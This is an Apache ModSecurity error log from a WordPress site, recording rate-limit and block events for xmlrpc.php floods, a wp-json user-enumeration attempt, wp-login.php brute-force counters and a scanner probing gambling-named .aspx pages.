[Fri May 15 02:58:42.433711 2026] [:error] [pid 11588:tid 11668] [client 170.245.123.133:35629] [client 170.245.123.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.245.123.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYbYtUr21rOixkeGKbetQAAAJA"]
[Fri May 15 03:02:15.517542 2026] [:error] [pid 11588:tid 11659] [client 147.182.162.86:57853] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcN9Ur21rOixkeGKbe9QAAAIc"]
[Fri May 15 03:02:20.322985 2026] [:error] [pid 11588:tid 11666] [client 147.182.162.86:57853] [client 147.182.162.86] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "agYcPNUr21rOixkeGKbe-AAAAI4"]
[Fri May 15 03:02:21.740299 2026] [:error] [pid 11588:tid 11661] [client 147.182.162.86:57853] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcPdUr21rOixkeGKbe-wAAAIk"]
[Fri May 15 03:02:21.741732 2026] [:error] [pid 11588:tid 11661] [client 147.182.162.86:57853] [client 147.182.162.86] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcPdUr21rOixkeGKbe-wAAAIk"]
[Fri May 15 03:02:21.742850 2026] [:error] [pid 11588:tid 11661] [client 147.182.162.86:57853] [client 147.182.162.86] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcPdUr21rOixkeGKbe-wAAAIk"]
[Fri May 15 03:02:23.536732 2026] [:error] [pid 47721:tid 47745] [client 147.182.162.86:60621] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcP3Emh7_G0hfOa6tYVAAAAZY"]
[Fri May 15 03:02:23.537846 2026] [:error] [pid 47721:tid 47745] [client 147.182.162.86:60621] [client 147.182.162.86] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcP3Emh7_G0hfOa6tYVAAAAZY"]
[Fri May 15 03:02:23.538898 2026] [:error] [pid 47721:tid 47745] [client 147.182.162.86:60621] [client 147.182.162.86] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcP3Emh7_G0hfOa6tYVAAAAZY"]
[Fri May 15 03:02:25.328413 2026] [:error] [pid 11588:tid 11652] [client 147.182.162.86:61143] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcQdUr21rOixkeGKbe_gAAAIA"]
[Fri May 15 03:02:27.215425 2026] [:error] [pid 47721:tid 47734] [client 147.182.162.86:61589] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcQ3Emh7_G0hfOa6tYVwAAAYs"]
[Fri May 15 03:02:29.099806 2026] [:error] [pid 11690:tid 11710] [client 147.182.162.86:62073] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcRSnxWuLN8Hptw8laGgAAAMs"]
[Fri May 15 03:02:29.099969 2026] [:error] [pid 11690:tid 11710] [client 147.182.162.86:62073] [client 147.182.162.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 147.182.162.86, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcRSnxWuLN8Hptw8laGgAAAMs"]
[Fri May 15 03:02:29.932988 2026] [:error] [pid 11588:tid 11662] [client 147.182.162.86:62240] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcRdUr21rOixkeGKbfAAAAAIo"]
[Fri May 15 03:02:29.933156 2026] [:error] [pid 11588:tid 11662] [client 147.182.162.86:62240] [client 147.182.162.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 147.182.162.86, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcRdUr21rOixkeGKbfAAAAAIo"]
[Fri May 15 03:02:30.767541 2026] [:error] [pid 11582:tid 11646] [client 147.182.162.86:62461] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcRvuw2cmFDpGcKhBNlwAAAFU"]
[Fri May 15 03:02:30.767702 2026] [:error] [pid 11582:tid 11646] [client 147.182.162.86:62461] [client 147.182.162.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 147.182.162.86, counter = 8"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcRvuw2cmFDpGcKhBNlwAAAFU"]
[Fri May 15 03:02:31.601987 2026] [:error] [pid 11588:tid 11665] [client 147.182.162.86:62630] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcR9Ur21rOixkeGKbfAgAAAI0"]
[Fri May 15 03:02:31.602177 2026] [:error] [pid 11588:tid 11665] [client 147.182.162.86:62630] [client 147.182.162.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 147.182.162.86, counter = 9"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcR9Ur21rOixkeGKbfAgAAAI0"]
[Fri May 15 03:02:32.423562 2026] [:error] [pid 11582:tid 11635] [client 147.182.162.86:62798] [client 147.182.162.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.162.86, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcSPuw2cmFDpGcKhBNmQAAAEo"]
[Fri May 15 03:02:32.423713 2026] [:error] [pid 11582:tid 11635] [client 147.182.162.86:62798] [client 147.182.162.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 147.182.162.86, counter = 10"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYcSPuw2cmFDpGcKhBNmQAAAEo"]
[Fri May 15 03:46:37.331832 2026] [:error] [pid 35869:tid 35876] [client 159.89.192.15:40114] [client 159.89.192.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.192.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agYmnarFAVeZxIs3B8LXuAAAAMU"]
[Fri May 15 03:46:39.049357 2026] [:error] [pid 35869:tid 35889] [client 159.89.192.15:40114] [client 159.89.192.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.192.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agYmn6rFAVeZxIs3B8LXvAAAANI"], referer: https://gigfragments.org/wp-login.php
[Fri May 15 04:03:10.474968 2026] [:error] [pid 1295:tid 1307] [client 45.117.169.86:41164] [client 45.117.169.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.117.169.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agYqftmMhqLvs0GYixm-YQAAAMk"]
[Fri May 15 04:55:15.494126 2026] [:error] [pid 50531:tid 50541] [client 159.223.117.90:51652] [client 159.223.117.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.117.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agY2sx3WbFwE6voqGzqRswAAAQg"]
[Fri May 15 04:55:17.056745 2026] [:error] [pid 50531:tid 50535] [client 159.223.117.90:51652] [client 159.223.117.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.117.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agY2tR3WbFwE6voqGzqRugAAAQI"], referer: https://gigfragments.org/wp-login.php
[Fri May 15 05:13:57.940806 2026] [:error] [pid 1188:tid 1209] [client 135.181.180.59:14828] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "agY7FdY68iW8yuNkNzPHwgAAAAw"]
[Fri May 15 05:14:00.047364 2026] [:error] [pid 1295:tid 1308] [client 135.181.180.59:14842] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "agY7GNmMhqLvs0GYixnQRgAAAMo"]
[Fri May 15 05:14:01.969328 2026] [:error] [pid 1188:tid 1206] [client 135.181.180.59:14844] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "agY7GdY68iW8yuNkNzPHxwAAAAk"]
[Fri May 15 05:14:03.867101 2026] [:error] [pid 1295:tid 1317] [client 135.181.180.59:14856] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "agY7G9mMhqLvs0GYixnQSgAAANM"]
[Fri May 15 05:14:05.789859 2026] [:error] [pid 1295:tid 1301] [client 135.181.180.59:26476] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "agY7HdmMhqLvs0GYixnQTAAAAMM"]
[Fri May 15 05:14:07.710474 2026] [:error] [pid 1189:tid 1227] [client 135.181.180.59:26486] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "agY7Hwe36qIGegR4kclFXAAAAEI"]
[Fri May 15 05:14:09.593689 2026] [:error] [pid 1190:tid 1253] [client 135.181.180.59:26500] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "agY7IdqiXrD7hne4gFaUxwAAAIE"]
[Fri May 15 05:14:11.627414 2026] [:error] [pid 1189:tid 1234] [client 135.181.180.59:26508] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "agY7Iwe36qIGegR4kclFYQAAAEk"]
[Fri May 15 05:14:13.508555 2026] [:error] [pid 1190:tid 1268] [client 135.181.180.59:26516] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "agY7JdqiXrD7hne4gFaUygAAAJA"]
[Fri May 15 05:14:15.500298 2026] [:error] [pid 50531:tid 50542] [client 135.181.180.59:17092] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "agY7Jx3WbFwE6voqGzqVyAAAAQk"]
[Fri May 15 05:14:17.503847 2026] [:error] [pid 1295:tid 1318] [client 135.181.180.59:17108] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "agY7KdmMhqLvs0GYixnQVgAAANQ"]
[Fri May 15 05:14:19.434331 2026] [:error] [pid 1189:tid 1229] [client 135.181.180.59:17114] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "agY7Kwe36qIGegR4kclFYwAAAEQ"]
[Fri May 15 05:14:21.380687 2026] [:error] [pid 1190:tid 1257] [client 135.181.180.59:17118] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "agY7LdqiXrD7hne4gFaU3QAAAIU"]
[Fri May 15 05:14:23.425241 2026] [:error] [pid 1190:tid 1253] [client 135.181.180.59:17124] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "agY7L9qiXrD7hne4gFaU5AAAAIE"]
[Fri May 15 05:14:25.479329 2026] [:error] [pid 1295:tid 1305] [client 135.181.180.59:65054] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "agY7MdmMhqLvs0GYixnQWwAAAMc"]
[Fri May 15 05:14:27.374306 2026] [:error] [pid 50531:tid 50556] [client 135.181.180.59:65062] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "agY7Mx3WbFwE6voqGzqVygAAARc"]
[Fri May 15 05:14:29.393260 2026] [:error] [pid 1190:tid 1276] [client 135.181.180.59:65070] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "agY7NdqiXrD7hne4gFaU6gAAAJg"]
[Fri May 15 05:14:31.430251 2026] [:error] [pid 1190:tid 1254] [client 135.181.180.59:65074] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "agY7N9qiXrD7hne4gFaU8AAAAII"]
[Fri May 15 05:14:33.326294 2026] [:error] [pid 1189:tid 1248] [client 135.181.180.59:65090] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "agY7OQe36qIGegR4kclFZQAAAFc"]
[Fri May 15 05:14:35.222111 2026] [:error] [pid 1188:tid 1208] [client 135.181.180.59:13740] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agY7O9Y68iW8yuNkNzPH1QAAAAs"]
[Fri May 15 05:14:37.258125 2026] [:error] [pid 1295:tid 1321] [client 135.181.180.59:13744] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agY7PdmMhqLvs0GYixnQcAAAANc"]
[Fri May 15 05:14:39.165097 2026] [:error] [pid 1295:tid 1311] [client 135.181.180.59:13756] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "agY7P9mMhqLvs0GYixnQcQAAAM0"]
[Fri May 15 05:14:41.181028 2026] [:error] [pid 1190:tid 1258] [client 135.181.180.59:13770] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "agY7QdqiXrD7hne4gFaU-gAAAIY"]
[Fri May 15 05:14:43.050741 2026] [:error] [pid 1189:tid 1237] [client 135.181.180.59:13786] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "agY7Qwe36qIGegR4kclFcwAAAEw"]
[Fri May 15 05:14:45.092122 2026] [:error] [pid 50531:tid 50535] [client 135.181.180.59:65308] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "agY7RR3WbFwE6voqGzqV5wAAAQI"]
[Fri May 15 05:14:47.102581 2026] [:error] [pid 1189:tid 1241] [client 135.181.180.59:65318] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "agY7Rwe36qIGegR4kclFiwAAAFA"]
[Fri May 15 05:14:49.097906 2026] [:error] [pid 50531:tid 50533] [client 135.181.180.59:65320] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "agY7SR3WbFwE6voqGzqV8QAAAQA"]
[Fri May 15 05:14:51.024079 2026] [:error] [pid 1190:tid 1254] [client 135.181.180.59:65322] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "agY7S9qiXrD7hne4gFaVDAAAAII"]
[Fri May 15 05:14:53.122078 2026] [:error] [pid 50531:tid 50539] [client 135.181.180.59:65338] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "agY7TR3WbFwE6voqGzqV9AAAAQY"]
[Fri May 15 06:09:39.814248 2026] [:error] [pid 50531:tid 50552] [client 45.224.144.210:18495] [client 45.224.144.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.224.144.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agZIIx3WbFwE6voqGzqkNQAAARM"]
[Fri May 15 06:09:41.972298 2026] [:error] [pid 50531:tid 50537] [client 45.224.144.210:18495] [client 45.224.144.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.224.144.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agZIJR3WbFwE6voqGzqkPAAAAQQ"], referer: https://gigfragments.org/wp-login.php
